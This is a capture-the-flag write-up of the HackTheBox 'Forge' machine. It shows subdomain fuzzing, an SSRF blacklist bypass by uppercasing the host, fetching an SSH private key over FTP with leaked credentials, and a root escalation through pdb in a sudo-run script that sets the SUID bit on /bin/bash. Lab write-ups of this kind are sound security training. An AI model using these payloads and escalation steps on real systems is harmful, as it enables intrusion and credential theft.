January 2022

Forge

by - OREOSEC

Bismillah

I’ll cover Forge machine (medium) from HackTheBox this box based on Linux system. As usual challenge from HackTheBox machine is we must owned fully system (privelege escalation) for getting user.txt and root.txt.

Intro

This box is actually simple process on gaining system without any scripting or confusing exploit. FYI because of it’s simplicity, this box can get first blood in just a dozens of minutes LoL.

This content

Enumerate

Nmap Scanning

Let’s begin with enumeration using nmap for disover opening port on victim

sudo nmap -sCV -oN nmap/serv 10.10.11.111

explanation

alt nmap scan

We discovered 21(ftp) but filtered, 22(ssh), 80(http)

DNS Fuzzing

While visiting website this page just redirecting on forge.htb, so we add forge.htb on /etc/hosts file. Let’s fire up ffuf to fuzz on vhost machine’s

ffuf -c -u "http://forge.htb" -H "Host: FUZZ.forge.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -r  -fs 2050

alt ffuf

We can able get admin.forge.htb subdomain and add on /etc/hosts again.

Admin page content:

alt discover admin subdomain

Seems we don’t have permission on this site.

Checking web service

This page just content image gallery

alt web service

visit upload image page:

alt upload image page

when i try to uploading some image to get reverse shell,i just got like this:

alt try to upload

SSRF bypassing

so i try to entering http://127.0.0.1 to “upload from url” and it shown below:

alt try ssrf payload

hmmm… it’s interesting.. it’s look like Server Side Request Forgery (this is why box name Forge) so i just think if we’ve admin subdomain, so i decide to try bypassing blacklist for this form with my “Caps Lock”.

payload:

http://ADMIN.FORGE.HTB/announcements

alt bypass ssrf blacklist

And success :) we can open url from curl

alt curl output

Shell as user

As you can see there’s /announcements page and we can try to use this payload to get content

payload:

http://ADMIN.FORGE.HTB/announcements

we got some useful information from this page which content credentials and method for uploading an image

 <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
 <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
 <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

Tried method to accessing ftp from ssrf by again submitting URL

payload:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 24 06:31 user.txt

it’s look like home directory of user :D so we can try to get ssh id_rsa in here

payload:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa

and we got this to login on user ssh

alt id_rsa

chmod 600 id_rsa
ssh user@forge.htb -i id_rsa

Gaining root access

Tried some command to check permission on sudo

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$

/opt/remote-manage.py content:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

it’s just look like some python socket server with python debugger module.. so we run this script with sudo and connect it on another ssh session

user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:63624

when we enter randomly character (or make this some exception) .. the debugger will be open on socket server

user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:63624
invalid literal for int() with base 10: b'kjsfhaslaj'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)

so we can execute any python command in here

(Pdb) import os
(Pdb) os.system('chmod u+s /bin/bash')
0
(Pdb)
user@forge:~$ bash -p
bash-5.0# whoami
root
bash-5.0#
Done So Done GIFfrom Done GIFs